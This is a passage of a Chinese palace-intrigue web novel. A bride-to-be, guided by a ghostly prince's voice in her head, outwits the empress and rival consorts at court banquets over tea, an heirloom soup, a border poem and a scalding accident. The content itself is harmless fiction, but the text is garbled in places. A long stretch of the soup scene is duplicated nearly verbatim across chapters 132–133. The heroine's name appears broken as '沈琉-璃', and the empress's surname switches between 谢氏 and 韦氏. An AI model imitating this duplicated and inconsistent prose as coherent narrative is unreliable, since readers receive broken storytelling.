她这番话说得滴水不漏,没有丝毫破绽。
“好一个天妒英才。”君北玄在她脑中,发出了一声由衷的赞叹,“沈琉璃,论胡说八道的本事,你确实是个人才。”
君怀瑾静静地看着她,脸上的笑容,自始至终都未曾有过半分变化。
许久,他才缓缓地鼓了鼓掌。
“说得好。”他点了点头,声音里听不出喜怒,“看来,大小姐为了这桩婚事,确实是下了不少功夫。竟连我大徽的宗室秘闻,都打探得如此清楚。”
“殿下过奖了。”沈琉璃连忙躬身,“臣女只是不想,日后在殿下面前,失了体面罢了。”
“很好。”君怀瑾点了点头。
他没有再继续这个话题,而是将目光,投向了窗外已经近在咫尺的皇城。
“沈大小姐,”他缓缓开口,“你比孤想象中,还要有趣得多。”
第131章 东宫的家人
“孤倒是有些期待,”君怀瑾的嘴角,勾起一抹意味深长的笑容,“你在东宫的日子,到底能给孤,带来多少惊喜了。”
话音落下,马车也正好穿过了厚重的宫门,缓缓地停在了东宫的承运殿前。
车厢外,已是宫灯高悬,仪仗林立。
一场无声的硝烟,在这方寸之间,悄然散尽。
沈琉璃知道,自己虽然暂时过关了,但这不过是刚刚开始。
车帘掀开,内侍总管常德那张堆满了褶子的笑脸,第一时间便出现在了眼前。
“恭迎太子殿下,恭迎未来太子妃回宫。”他躬着身子,声音尖细,却又带着几分恰到好处的恭敬。
君怀瑾率先走下马车,他没有回头,只是对着身后的沈琉璃,伸出了一只手。那只手修长,白皙,骨节分明。
沈琉璃的心,没来由地一颤。
她看着眼前这只手,下意识地摸了摸胸前的孤狼坠。
“哼,假惺惺。”
君北玄的声音,在她脑海中响起,带着一股醋意。
“一个只会玩弄人心的伪君子罢了,也配让你犹豫?”
“王爷,”沈琉璃在心里,苦笑一声,“您是不是忘了,我现在可是寄人篱下,哪有资格挑三拣四?”
她没有再犹豫,缓缓地伸出手,将自己的指尖,轻轻地搭在了君怀瑾的掌心。
入手,是一片冰凉。
与她想象中,一般无二。
君怀瑾将她扶下马车,脸上的笑容依旧是那般温和。
“走吧,”他看着她,轻声说道,“你的家人们,也等候多时了。”
家人?
……
承运殿内,灯火通明,温暖如春。
地上铺着厚厚的地毯,踩上去悄无声息。
数十名身着彩衣的宫女,如同穿花蝴蝶一般,悄无声息地穿梭其间,为早已落座的贵人们,奉上热茶与精致的茶点。
这里,竟早已设下了一场,小型的“家宴”。
高坐于主位上的,自然便是当今皇后,谢氏。
她的身旁,则坐着几位,在宗室中德高望重的亲王与福晋。
而在她的下首,则分列坐着,四位衣着华丽,容貌不俗的年轻女子。
她们,便是太子君怀瑾后院中,除了太子妃外,地位最高的四位。
两位侧妃,两位良娣。
当沈琉璃,在君怀瑾的引领下,缓缓走进这座暗流汹涌的大殿时。
所有人的目光,都齐刷刷地投向了她。
有好奇,有审视,有嫉妒,但更多的是一种,毫不掩饰的敌意。
“儿臣,给母后请安。”君怀瑾对着主位上的皇后,躬身一拜。
“臣女沈琉璃,参见皇后娘娘,娘娘万福金安。”沈琉璃也同样,对着她盈盈一拜。
“起来吧。”皇后韦氏缓缓开口,声音里听不出喜怒,“都是一家人,不必如此多礼。”
她一边说,一边对着身旁的女官,使了个眼色。
那女官立刻会意,将一杯早已备好的热茶,亲自端到了沈琉璃的面前。
“沈大小姐,”皇后的脸上,露出了一个和善的笑容,“哀家听闻,你乾国女子,最是擅长烹茶。不知,可否为我们露上一手啊?”
她这番话,看似是夸赞,实则却是字字诛心!
她竟是要,当着这么多人的面,让沈琉璃这个未来的太子妃,去当一个侍奉茶水的丫鬟?!
“这老妖婆!简直是欺人太甚!”君北玄在她脑中,第一个没忍住,当场便骂了出来,“沈琉璃!别怕!告诉她!你不仅会烹茶,你还会用茶水,将她那张老脸,给烫成猪头!”
“王爷,”沈琉璃在心里,有气无力地回敬了一句,“您能不能,稍微地讲究一点策略?您这不叫反击,这叫自爆。”
她没有再理会那个,只会说风凉话的鬼王爷,而是对着皇后,露出了一个微笑。
“能为娘娘烹茶,是臣女的福气。”
她缓缓地走到茶案前,将紫砂烧制而成的茶具,一一摆开。
她的每一个动作,都像是在进行一场庄重的仪式。
从择水、烫杯,到注水、闻香……
每一个细节,都与她之前,在晚晴居内,练习了数百遍的一般无二。
她烹好的是一壶,产自大徽王朝的“金丝凤芽”。
当馥郁的香气,在整个大殿内,弥漫开时。
在场的所有人,都愣住了。
他们怎么也没想到,这个来自异国他乡的少女,竟会对大徽的茶道,有如此精深的造诣!
就连一向不苟言笑的皇后谢氏,在闻到这股熟悉的香气时,脸上的神情也缓和了几分。
“不错。”她点了点头,声音里带上了几分欣赏,“看来,你为了这桩婚事,确实是下了不少功夫。”
“能得娘娘夸赞,是臣女的荣幸。”沈琉璃将一杯,琥珀色的茶汤,亲自端到了她的面前。
然而,就在此时,一个不合时宜的声音,忽然从下首传来。
“姐姐的茶艺,固然是好。”
开口的,是兵部尚书之女,赵良娣。
她身着一身火红色的宫装,脸上画着精致的妆容,眼里充满了毫不掩饰的挑衅。
“只是,”她缓缓地站起身,走到沈琉璃的面前,“我怎么记得,我大徽的宫规里,似乎并没有,未来太子妃,为长辈烹茶的礼数呢?”
“妹妹倒是觉得,”她的嘴角,微微翘起,“姐姐此举,非但不是在尽孝心,反而像是在,坏了这宫里的规矩呢。”
她竟是要,用“不守规矩”这顶帽子,来将沈琉璃,给死死地压住!
“他娘的!”君北玄在她脑中,又忍不住骂了出来,“这个小贱人!她简直是找死!”
“王爷,”沈琉璃在心里,平静地回应,“您别急,好戏现在才刚刚开始。”
她没有理会赵良娣的挑衅,只是缓缓地转过身,对着主位上的皇后,再次重重一拜。
“娘娘明鉴!”她的声音里,带上了几分委屈,“臣女自知,身份卑微,不敢与殿下的几位姐姐相提并论。臣女今日此举,并非是想坏了宫里的规矩。”
“臣女只是想用这种方式,向娘娘,向各位姐姐,表达我最诚挚的敬意罢了。”
“臣女以为,”她的声音,陡然拔高,“这世上最大的规矩,便是‘孝道’二字!”
“为人晚辈,为长辈烹一杯茶,尽一份孝心,又有何错?!”
她这番话,说得掷地有声!
将一场“刁难”,硬生生地变成了一场,关于“孝道”的辩论!
赵良娣被她这番话,噎得脸色一阵青一阵白,竟是一时语塞!
而主位上,一直沉默不语的皇后韦氏,在听完她这番话后,缓缓地开了口。
“说得好。”她点了点头,“赵良娣,你退下吧。”
“母后……”
“怎么?”皇后的眼中,闪过了一抹冷意,“你是在,质疑本宫吗?”
“……儿臣不敢。”
赵良娣再不甘心,也只能心不甘情不愿地退了下去。
一场无声的硝烟,就这么被沈琉璃,轻描淡写地给化解了。
然而,她知道,这不过是刚刚开始。
承运殿内这场暗流汹涌的家宴,总算是恢复了表面的平静。
宫女们再次穿梭其间,为冷掉的茶水续上新汤,为空掉的果盘换上新果。
可所有人都心知肚明,这不过是暴风雨前,最后的宁静罢了。
“漂亮。”
在沈琉璃的脑海中,君北玄的声音,难得地带上了几分,真切的欣赏。
“你方才那招‘百善孝为先’,将一场针对你的刁难,硬生生地变成了一场,关于‘道德’的辩论。不仅让那个不知天高地厚的小丫头吃了瘪,更是让皇后那个老妖婆,也不得不捏着鼻子认了栽。”
“王爷过奖了。”沈琉璃在心里,平静地回应,“我只是不想死罢了。”
她缓缓地走回自己的座位,端起茶水浅呷一口。眼神不着痕迹地,与太子君怀瑾,在空中短暂地交汇了一下。
对方的脸上,依旧是挂着温和的笑容。
仿佛,刚才那场惊心动魄的交锋,与他没有半分关系。
可沈琉璃却能清晰地感觉到,那笑容背后,隐藏起来的,是何等冰冷的审视。
他就像一个,高高在上的棋手。
静静地看着棋盘上的这些棋子,是如何为了争夺“恩宠”斗得你死我活。而他,则享受着这种,掌控一切的感觉。
“这个伪君子。”君北玄在她脑中,冷哼一声,“本王现在,真的很想知道,若是让他知道,自己未来的太子妃,脑子里还藏着他的弟弟时,他脸上那副虚伪的面具,还能不能戴得住。”
“王爷,您就别说风凉话了。”沈琉璃在心里,苦笑一声,“您若是真的想看好戏,那便先想办法,让咱们俩能从这座吃人的宫墙里,活着走出去再说吧。”
第132章 无声的婚宴
三日后,国婚大典,如期而至。
这一日,整个大徽王朝的上京,都沉浸在一种,盛大而又庄重的喜庆气氛中。
十里红妆,从尚书府的门口,一直铺到了皇宫的承运门。
无数的百姓,自发地聚集在街道的两侧,他们虽然看不清,未来太子妃的真容。却依旧伸长了脖子,想沾一沾这份,来自皇家的喜气。
然而,在这份泼天的富贵与荣耀之下,隐藏的却是,让人无法呼吸的冰冷。
沈琉璃身着一身,由内务府连夜赶制出来的凤冠霞帔,端坐于宝辇中。
那顶,由纯金打造的凤冠,重若千斤,压得她几乎要喘不过气来。
而她身上穿的,是由数名顶级绣娘,耗时数月才织就的嫁衣,更是层层叠叠,密不透风,让她感觉自己,仿佛是被包裹在了一个华丽的蚕茧里。
“他娘的!”君北玄在她脑中,忍不住骂了出来,“你们女人,到底是怎么想的?!把这么多没用的东西都堆在身上,不嫌累得慌吗?!这要是放在战场上,敌人还没打过来,自己就先把自己给压死了!”
“王爷,”沈琉璃在心里,有气无力地回敬了一句,“您是不是忘了,对于一个女人而言,有时候,嫁衣便是铠甲。”
“歪理邪说!”君北玄虽然嘴上这么说,但声音里的那份烦躁,却怎么也掩盖不住。
他也不知道自己到底是怎么了。
自从得知这个女人,即将要嫁给自己最讨厌的大哥时。
他的心里,便像是堵了一块石头,上不去,也下不来,难受得紧。
……
冗长而又繁琐的典礼,持续了整整一天。
从祭天,到拜祖,再到接受百官的朝贺……
沈琉璃,就像一个被设定好了程序的木偶,一丝不苟地完成了所有的礼节。
她的每一个动作,都堪称完美。
她的每一个笑容,都恰到好处。
她将一个,温婉、恭顺、知书达理的未来太子妃形象,演绎得淋漓尽致。
就连一向不苟言笑的皇帝君宏德,在看到她时,也难得地露出了一个充满了赞许的笑容。
然而,没有人知道。
在这份完美的背后,隐藏的却是让人无法想象的煎熬。
那顶沉重的凤冠,将她的脖颈,磨出了一道道血痕。那件密不透风的嫁衣,更是被她后背的冷汗给浸透。
可她,却依旧挺直了脊梁。
因为她知道,从她踏入这座宫墙的那一刻起,她的一言一行,都代表着整个乾国的颜面。
她,不能输。
也,输不起。
……
终于,当夜幕降临,所有的喧嚣都散尽时。
一场,专为皇室宗亲所设的家宴,在东宫的承运殿内,悄然上演。
这,才是真正的鸿门宴。
沈琉璃被安排在了,离皇后韦氏最近的位置上。
她的对面,则是太子君怀瑾,以及他那几位各怀心思的“家人”。
宴席开始,宫人们如同穿花蝴蝶一般,将一道道精美的菜肴,流水般地呈了上来。
“沈家丫头,”皇后韦氏看着她,脸上露出了一个和善的笑容,“哀家听闻,你乾国女子,不仅擅长烹茶,对这饮食之道,也颇有研究。不知,可否为我们介绍介绍,你乾国的风味啊?”
她这番话,看似是家常,实则却是,最恶毒的陷阱!
一个远嫁他乡的女子,若是在此刻,大肆地吹捧自己母国的饮食,那便是忘了本,是不敬夫家。
可她若是在此刻,贬低自己母国的饮食,那便是数典忘祖,是自取其辱。
无论她怎么回答,都将落入,对方为她设下的陷阱之中!
“好一招两头堵。”君北玄在她脑中,冷笑一声,“这个老妖婆,比她那个儿子,要难对付得多。”
“王爷,”沈琉璃在心里,平静地回应,“您忘了,我最擅长的便是破局。”
她缓缓地站起身,对着皇后盈盈一拜。
“回禀娘娘,”她不卑不亢地说道,“臣女以为,这天下的饮食之道,便如这世间的为人处世之道一般,并无高下之分,只有合适与不合适之别。”
“我乾国地处江南,气候温润,故而饮食偏于清淡,讲究的是食材的原汁原味。”
“而我大徽,地处北境,气候凛冽,故而饮食偏于醇厚,讲究的是大开大合的酣畅淋漓。”
“两者各有千秋,难分伯仲。”
“不过,”她话锋一转,继续说道,“臣女以为,这世上最好吃的菜,从来都不是什么山珍海味。”
“而是,家里的味道。”
“臣女虽然远嫁他乡,可从今天起,这东宫便是臣女的家,娘娘您便是臣女的母亲。能日日吃到您亲手为臣女挑选的菜肴,便是臣女这辈子,最大的福气了。”
她这番话,说得滴水不漏!
“你这张嘴,倒是比本王的刀,还要锋利几分。”君北玄在她脑中,发出了一声由衷的赞叹。
然而,就在所有人都以为,这次又要被沈琉璃糊弄过去的时候。
皇后韦氏,却忽然笑了。
“说得好。”她点了点头,随即对着身旁的女官,淡淡地吩咐道,“既然如此,那便将本宫,为太子妃准备的‘那道菜’,呈上来吧。”
“他娘的!又来了!”
在沈琉璃的脑海中,君北玄的声音,充满了对眼前这场闹剧的不屑与烦躁。
“这个老妖婆,简直是阴魂不散!她这是铁了心,要让你在所有人的面前出丑啊!”
“王爷,这东宫之内,本就是她的主场。”沈琉璃在心里,平静地回应,“她想怎么出题,我们这些做棋子的,除了接着,还能有什么别的选择吗?”
她没有再理会鬼王爷,而是缓缓地站起身,对着皇后再次盈盈一拜。
“能得娘娘亲手为臣女备菜,是臣女三生有幸,不敢当。”
“无妨,你即将嫁入我东宫,便是本宫的儿媳。”皇后韦氏摆了摆手,说道,“母亲为儿媳备一道菜,也是情理之中的事。”
她一边说,一边对着身旁的女官,轻轻地颔了颔首。
那女官立刻会意,拍了拍手。
只见四名身着彩衣的宫女,抬着一个巨大的紫檀木托盘,从殿外缓缓地走了进来。
托盘上,盖着一个由纯金打造的,雕刻着百鸟朝凤图样的盖子。
当那盖子被缓缓揭开的瞬间,一股馥郁的香气,混合着灼热的蒸汽,瞬间在整个大殿内弥漫开来!
在场的所有人,在看清那道菜的真容时,都忍不住倒吸了一口冷气!
这竟是一道,工序极其繁复,早已失传了上百年的宫廷御菜,七宝琉璃羹!
只见汤碗中,一朵由七种不同颜色的珍贵食材,雕刻而成的琉璃莲花,正静静地绽放着。
莲花下,是如同镜面一般清澈的汤底,汤底中,还点缀着数颗,由东海明珠磨成的粉末,在灯火下闪烁着点点金光。
这哪里是一道菜?
这分明就是一件,巧夺天工的艺术品!
“此羹,乃是我大徽开国皇后,亲手为太祖皇帝研制。”皇后韦氏的声音,不紧不慢地响起,“其工序繁复,食材珍稀,早已失传了百年。本宫也是在整理内务府旧档时,无意中才寻得了这份食谱。”
“今日,特意命御膳房,为你一人而做。”她看着沈琉璃,笑着说道,“也算是,全了本宫这个做婆母的,一番心意了。”
她这番话,说得情真意切,可在场的所有人,都不是傻子!
他们当然知道,这道菜的背后,隐藏着何等凶险的机锋!
因为,这道菜的吃法,远比它本身更要讲究!
据说,当年开国皇后,为了考验宫中妃嫔的德行与规矩,特意为此羹定下了一套极其严苛的礼数。
食此羹者,必须用特制的,由金、银、玉、象牙、犀角五种不同材质打造的餐具,按照特定的顺序,从莲花的花瓣开始,一瓣一瓣地依次品尝。
期间,不仅不能发出任何多余的声响,更不能让那朵,本就脆弱无比的琉璃莲花,有半分的破损!
否则,便是“德行有亏”,是“不敬先祖”的大罪!
这哪里是在吃饭?
这分明就是在,用规矩做刀,杀人于无形!
“完了!这下是真完了!”君北玄在她脑中,也忍不住低喝一声,“沈琉璃!这个老妖婆,她这是在逼你自寻死路!”
“本王曾在宫中,见过父皇用此菜,考验过一位西域来的使臣!那使臣,也是个见过大风大浪的人物,可他才刚刚拿起第一双筷子,便将那朵莲花给碰碎了!当场便被父皇,给赶出了宫去!”
“你……”
“王爷,”沈琉璃在心里,平静地回应,“我最擅长的,便是用敌人的刀,来砍敌人的手。”
她没有再理会君北玄的警告,而是缓缓地走上前,对着“七宝琉璃羹”重重一拜。
“多谢娘娘厚爱。”
她缓缓地直起身,脸上没有半分惧色。
她将目光,投向了在场的几位宗室福晋。
“只是,”她的声音里,带上了几分困惑,“臣女愚钝,有一事不明,还望几位福晋,能为臣女解惑。”
“哦?”一位年长的福晋,看着她,问道,“你有何事不明啊?”
“臣女听闻,我大徽王朝,一向以‘仁孝’治国。”沈琉璃缓缓说道,“这‘七宝琉璃羹’既是开国皇后,为太祖皇帝所创,那想必,也该是蕴含了‘夫妻同心,同甘共苦’的寓意吧?”
“既是如此,此等神物,又岂能由臣女一人独享?”她话锋一转,“若是因此,而寒了太子殿下的心,坏了我们夫妻二人的情分,那岂不是,违背了太祖与太后,创下此菜的初衷?”
第133章 诗词为刃
沈琉璃这番话,不是在拒绝,她是在邀请!
邀请太子君怀瑾,与她一同,来品尝这道充满了“爱意”的羹汤!
一瞬间,所有人的目光,都聚焦在了从始至终都一言未发的太子殿下身上!
君怀瑾的双手,不易察觉地紧了紧。他怎么也没想到,这个女人竟会用这种方式,拖他下水!
他如果拒绝了,那就是“不念夫妻情分”,是“不敬先祖”。
可他若是应了……
他虽然也曾在宫中,学过此菜的礼数,可却并没有半分把握,能在父皇的眼皮子底下,将这出戏,给演得天衣无缝!
“呵呵……”
君怀瑾笑了,他缓缓地站起身,走到沈琉璃的身边,亲自为她,挑起了一双,由纯金打造的筷子。
“爱妃说的是。”他看着她,说道,“是孤,疏忽了。”
“既然如此,”他将那双筷子,递到了她的面前,“那便由孤,亲手为你布菜吧。”
他竟是要,亲自为她夹菜?!
这一下,不仅是沈琉璃,就连她脑海中的君北玄,都愣住了。
“这个混蛋!他到底想做什么?!”
君怀瑾没有理会众人的惊愕,他只是,用那双金筷,稳稳地夹起了,琉璃莲花最外围的一片,由东海明珠鲍,雕琢而成的花瓣,轻轻地放入了沈琉璃面前的玉碗中。
他的动作,行云流水,充满了皇家特有的优雅。
不多,不少,恰好一片,莲花也未曾有半分的晃动。
他竟是真的,懂这道菜的规矩!
“爱妃,”他看着她,笑着说道,“请吧。”
沈琉璃的心,沉入了谷底。
承运殿内,所有的目光都聚焦在那只小小的玉碗上。
君怀瑾亲自夹起的那片莲花瓣,正静静地躺在碗底,在灯火下散发着温润的光泽。
沈琉璃看着眼前这片“花瓣”,只觉得那不是什么山珍海味,而是一道催命的符咒。
“他娘的!”在沈琉璃的脑海中,君北玄的声音,充满了无边的愤怒,“这个混蛋!他竟敢用这种方式,来逼你?!”
“王爷,”沈琉璃在心里,苦笑一声,“从我踏入这座宫墙的那一刻起,我便已经是他砧板上的鱼肉了。”
“那也不能任由他,如此羞辱!”君北玄怒道,“不就是一碗破汤吗?!不吃也罢!本王倒要看看,他君怀瑾,能奈我何?!”
沈琉璃没有理会,这个正在自己脑海中发疯的鬼王爷,而是缓缓地抬起头,看着君怀瑾,露出了一个微笑。
“多谢殿下厚爱。”
她缓缓地拿起玉箸,将那片花瓣,轻轻地夹了起来,送到了自己的唇边。
她的动作,很慢,很稳。
每一个细节,都与容嬷嬷教导她的一般无二。
在场的所有人,都屏住了呼吸,然而,就在那片花瓣,即将触碰到她嘴唇的瞬间。
她却忽然,停下了动作。
“殿下,”她看着君怀瑾,脸上露出了一个困惑的表情,“臣女愚钝,有一事不明,还望殿下解惑。”
“哦?”
“臣女听闻,”沈琉璃缓缓说道,“大徽王朝,一向以‘孝’治国。这‘七宝琉璃羹’既是开国皇后,为太祖皇帝所创,那想必,也该是蕴含了,‘夫妻同心,同甘共苦’的寓意吧?”
“既是如此,”她话锋一转,“此等神物,又岂能由臣女一人独享?”
“若是因此,而寒了太子殿下的心,坏了我们夫妻二人未来的情分,那岂不是,违背了太祖与太后,创下此菜的初衷?”
她这番话,说得滴水不漏!
将一个,本是充满了恶意的“陷阱”,硬生生地,变成了一场,关于“夫妻情分”的考验!
她不是在拒绝,她是在邀请!
邀请太子君怀瑾,与她一同,来品尝这道,充满了“爱意”的羹汤!
一瞬间,所有人的目光,都聚焦在了那个,从始至终都一言不发的太子殿下身上!
君怀瑾的脸上,依旧是那副温和的笑容,可他那双,放在桌下的手,却不易察觉地,紧了紧。
他怎么也没想到,这个女人竟会用这种方式,将这盆脏水,给泼回到自己的身上!
他若是拒绝,那便是“不念夫妻情分”,是“不敬先祖”。
可他若是应了……
他虽然也曾在宫中,学过此菜的礼数,可他却并没有半分把握,能在那双,早已洞悉一切的父皇的眼皮子底下,将这出戏,给演得天衣无缝!
“呵呵……”
就在这片,足以将人逼疯的死寂中,君怀瑾笑了。
他缓缓地站起身,走到沈琉-璃的身边,亲自为她,挑起了一双,由纯金打造的筷子。
“爱妃说的是。”他看着她,声音温和得,仿佛能将这世间最坚硬的寒冰,都给融化,“是孤,疏忽了。”
“既然如此,”他将那双筷子,递到了她的面前,“那便由孤,亲手为你布菜吧。”
他竟是要,亲自为她,夹菜?!
这一下,不仅是沈琉-璃,就连她脑海中的君北玄,都愣住了。
“这个混蛋!他到底想做什么?!”
君怀瑾没有理会众人的惊愕,他只是,用那双金筷,稳稳地夹起了,琉璃莲花最外围的一片,由东海明珠鲍,雕琢而成的花瓣,轻轻地,放入了沈琉-璃面前的玉碗中。
他的动作,行云流水,充满了皇家特有的优雅。
不多,不少,恰好一片。
莲花,也未曾有半分的晃动。
他竟是真的,懂这道菜的规矩!
“爱妃,”他看着她,笑着说道,“请吧。”
沈琉璃的心,沉入了谷底。
她知道,自己今日,怕是遇到了生平未有的强敌。
……
一羹之局,最终还是被太子君怀瑾用一种更强势,也更滴水不漏的方式化解了。
沈琉璃只能在众人的注视下,将那片花瓣缓缓送入口中,完成了这场无声的较量。
就在所这时,一直沉默不语的赵良娣,却忽然笑了。
她端起酒杯,缓缓起身,对着沈琉璃遥遥一敬。
“姐姐方才那番‘夫妻同心’的言论,当真是让妹妹我大开眼界。”她笑着说道,眼里却不带半分笑意,“只是姐姐似乎忘了,我大徽王朝的女子,除了要懂得‘相夫教子’的道理,更要懂得‘以才侍君’的本分。”
她这番话,看似是夸赞,实则却是陷阱!
她竟是要当着这么多人的面,考校沈琉璃的才学!
“他娘的!”君北玄在她脑中,又忍不住骂了出来,“这个小贱人!她简直是阴魂不散!”
“王爷,”沈琉璃在心里,平静地回应,“您别急,这才只是个开始。”
不等沈琉璃回应,另一位一直沉默不语的侧妃,户部尚书之女,王侧妃,也跟着开了口。
“赵妹妹说的是。”她身着一身淡蓝色的宫装,脸上总是带着温和的笑容,看起来与世无争,“我听说,乾国女子,自小便饱读诗书,琴棋书画,样样精通。今日既然有此雅兴,不如姐姐便以‘北境’为题,赋诗一首,也好让我们这些做妹妹的,开开眼界,如何?”
一唱一和,配合默契!
她们这是要将沈琉璃,彻底地逼入死局!
以“北境”为题?
在场的所有人,都不是傻子!
他们当然知道,这“北境”二字,意味着什么!
那不仅是大徽王朝的边防重地,更是七皇子肃王君北玄的封地!
她们这是要逼着沈琉璃,当着太子和皇后,乃至皇帝的面,为君北玄作诗!
这哪里是在考校才学?
这分明就是在,用诗词做刀,杀人诛心!
“好一招‘连环计’,这两个女人倒还有几分脑子。”君北玄在她脑中,冷笑一声,“她们知道,寻常的诗词歌赋,未必能难得住你。便干脆为你设下了一个,无论你怎么答,都是错的死局!”
你若是不作,那便是“无才”,是“心虚”。
你若是作了,那便是“与肃王有染”!
“王爷,”沈琉璃在心里,苦笑一声,“看来,今日这顿饭,怕是吃不安生了。”
“怕什么!”君北玄的声音,掷地有声,“她们不是想听诗吗?那本王,便亲自为她们,作上一首!”
“一首,能让他们所有人,都永生难忘的诗!”
……
沈琉璃缓缓地站起身,对着主位上的皇后,盈盈一拜。
“娘娘,”她轻声说道,“臣女自知,才疏学浅,不敢在各位姐姐面前,班门弄斧。”
“只是,”她话锋一转,“既然两位姐姐有此雅兴,那臣女便恭敬不如从命了。”
她说罢,便缓缓地走到了大殿的中央。许久,才缓缓开口,声音清冷如玉,响彻了整个承运殿。
“黑云压城城欲摧,”
“甲光向日金鳞开。”
“角声满天秋色里,”
“塞上燕脂凝夜紫。”
“半卷红旗临易水,”
“霜重鼓寒声不起。”
“报君黄金台上意,”
“提携玉龙为君死!”
一首诗罢,整个大殿,鸦雀无声!
所有人的脸上,都写满了不敢置信的震惊!
他们怎么也没想到,这个看似柔弱的少女,竟能作出如此,充满铁血与杀伐之气的诗句!
这哪里是什么闺阁之作?
那分明就是一首,足以让任何一个男儿,都为之热血沸腾的边塞战歌!
赵良娣和王侧妃的脸上,早已是血色褪尽!
她们本以为,自己设下的是一个必杀之局,却不想,竟会是为对方,搭起了一座,可以尽情表演的戏台!
而主位上,一直沉默不语的皇后谢氏,在听完这首诗后,缓缓地开了口。
“说得好。”她点了点头,声音里听不出喜怒。
“只是,”她将目光,投向了那个,早已是面无人色的赵良娣,“本宫倒是有些好奇,你一个兵部尚书的女儿,竟连这首,早已失传了上百年的《雁门太守行》,都未曾听过吗?”
第134章 祸水东引
皇后谢氏的话,如同一记无声的耳光,狠狠地扇在了赵良娣和王侧妃的脸上。
《雁门太守行》?
她们自诩饱读诗书,却从未在哪本典籍上见过这首诗!
这分明就是沈琉璃这个贱人,情急之下胡乱编凑出来的!可偏偏,皇后娘娘却“言之凿凿”地,为这首诗安上了一个,听起来煞有介事的出处。
这哪里是在为沈琉璃解围?
这分明就是在,敲山震虎!
是在警告她们这些人,不要再在她这个中宫之主的面前,玩弄这些上不得台面的把戏!
“母后教训的是。”赵良娣的脸色,在一瞬间变得无比难看,她强行挤出了一个比哭还难看的笑容,“是儿臣学识浅薄,孤陋寡闻了。”
“知道自己浅薄,那便好生学着。”皇后谢氏没有再看她,只是将目光,重新投向了沈琉璃。
“沈家丫头,”她缓缓开口,说道,“你这首诗,作得很好。”
“只是,这诗中的杀伐之气,未免也太重了些。”她话锋一转,继续说道,“你日后,既是我东宫的太子妃,便该多学些,温婉贤淑的诗词歌赋,方才合乎你的身份。”
她这番话,看似是敲打,实则却是在告诉所有人。
今日之事,到此为止。
“是,臣女谨遵娘娘教诲。”沈琉璃对着她,再次盈盈一拜。
一场无声的硝烟,就这么被皇后谢氏,用一种更强势的方式,给压了下去。
……
宴席,继续进行着。
只是,气氛却早已不复之前的祥和。
赵良娣和王侧妃,虽然表面上依旧是谈笑风生,可她们看向沈琉璃的眼神,却早已是淬满了毒。
她们知道,今日这一局她们输了。
输得,一败涂地。
可她们,又岂会就此善罢甘休?
“哼,妇人之仁。”
在沈琉璃的脑海中,君北玄的声音,充满了对眼前这场闹剧的不屑。
“这个老妖婆,看似是在帮你,实则却是将你,推到了一个更危险的位置上。她今日,虽然压下了这两个蠢货,却也同样,将所有的仇恨都引到了你的身上。”
“王爷,”沈琉璃在心里,平静地回应,“您忘了,从我踏入这座宫墙的那一刻起,我便早已是,她们所有人的眼中钉了。”
“多两个,不多;少两个,不少。”
她将目光,投向了早已是吓得六神无主的春桃。
此刻的春桃,正端着一个茶盘,小心翼翼地,跟在一名老嬷嬷的身后,为在场的贵人们,奉上新茶。
她的手,抖得连上面的盖碗都在“叮当”作响。
那副模样,像一只,随时都有可能被吓破胆的小兔子。
“你这丫鬟,倒是忠心。”君北玄的声音,再次响起,“只是这胆子也太小了些,上了战场,第一个当逃兵的就是她。”
“王爷,”沈琉璃在心里,苦笑一声,“您就别说风凉话了。您以为,谁都像您一样,天生就是打仗的料吗?”
就在这一人一鬼,在脑海里进行着日常互怼的时候。
只见一名,本该是负责为皇后布菜的小宫女,不知为何竟是脚下一滑,整个人便朝着皇后谢氏的方向,直直地摔了过去!
而她手中那碗,滚烫的“佛跳墙”,更是好巧不巧地,朝着皇后的凤袍,尽数泼去!
“啊——!”
一声短促的惊呼,从那小宫女的口中发出!
在场的所有人,都愣住了!
他们怎么也没想到,竟会在此刻,发生如此,惊心动魄的一幕!
然而,就在这碗滚烫的汤羹,即将触碰到皇后凤袍的瞬间。
一道瘦弱的身影,却猛地从一旁冲了出来,用自己的身体,硬生生地挡在了皇后的面前!
“砰——!”
一声闷响!
那碗滚烫的“佛跳墙”,尽数泼在了那道身影的后背上!
而那道身影,向前一个踉跄,将手中早已备好的茶水,给尽数打翻在地!
“哐当——!”
一声清脆的碎裂声,在寂静的大殿内,显得格外刺耳。
而那滚烫的茶水,则好巧不巧地,尽数泼在了,那个早已吓傻了的肇事宫女,以及她身旁,同样惊慌失措的赵良娣的脚下!
这一切,都发生在电光石火之间!
快!太快了!
快到连在场的所有人,都完全没有反应过来!
“春桃!”
沈琉璃尖叫了一声,她猛地从座位上站起,连忙上前一把抱住那个,早已疼得昏死过去的丫鬟,哭得肝肠寸断!
“来人!快传太医!快传太医!”
……
整个承运殿,彻底乱成了一锅粥!
贵女们惊慌的尖叫声、宫人们惶恐的呼喊声、侍卫们拔刀的铿锵声交织在一起,将这场本该是喜庆的婚宴,变成了一场荒唐的闹剧。
而主位上,一直沉默不语的皇后谢氏,在经历了最初的震惊后,却迅速地冷静了下来。
她的脸上,没有半分被惊吓后的惶恐,只有一种让人看不懂的平静。
她缓缓地站起身,走到那个,早已被吓傻了的肇事宫女面前。
“说吧,”她的声音,不带任何感情,“谁派你来的?”
“奴……奴婢……”那宫女被她看得,浑身发抖,语无伦次。
“不说?”皇后笑了笑,“那便拖下去吧。”
“本宫倒要看看,是你的骨头硬,还是我东宫的刑具硬。”
她说罢,便不再看这个宫女,而是将目光,投向了沈琉璃和她的丫鬟。
她的眼中,闪过了一抹极其复杂的情绪。
“好,好一个‘忠心护主’。”
许久,她才缓缓开口,声音里听不出喜怒。
“看来,本宫今日是欠了你一份人情啊。”
早已被这场变故,给吓得六神无主的太医们,此刻才终于如梦初醒,连滚带爬地扑上前,想为沈琉璃怀中那个,早已疼得昏死过去的丫鬟诊脉。
“滚开!”
沈琉璃却指着他们,厉声喝道!
她缓缓地站起身,将早已不省人事的春桃,小心翼翼地抱在了自己的怀里。
她的动作,很轻,很稳。
仿佛,她怀里抱着的,不是一个奴才。
而是,她这辈子最珍视的宝贝。
“皇后娘娘,”她抬起头,看着主位上那个,从始至终都面无表情的女人,声音沙哑地说道,“臣女的丫鬟,不懂规矩,惊扰了圣驾,是臣女管教不严,臣女认罚。”
“只是,她是我的人。”她的眼中,闪过了一抹,与她柔弱外表截然不同的决然,“她的命,也只能由我来定。”
“臣女恳请娘娘恩准,”她对着皇后,重重地磕了一个头,“让臣女,亲自带她回去医治!”
她这番话,说得掷地有声!
皇后谢氏静静地看着她,脸上没有任何表情。
许久,她才缓缓地开了口。
“准。”
她说罢,便不再看任何人,只是疲惫地挥了挥手。
“都退下吧。”
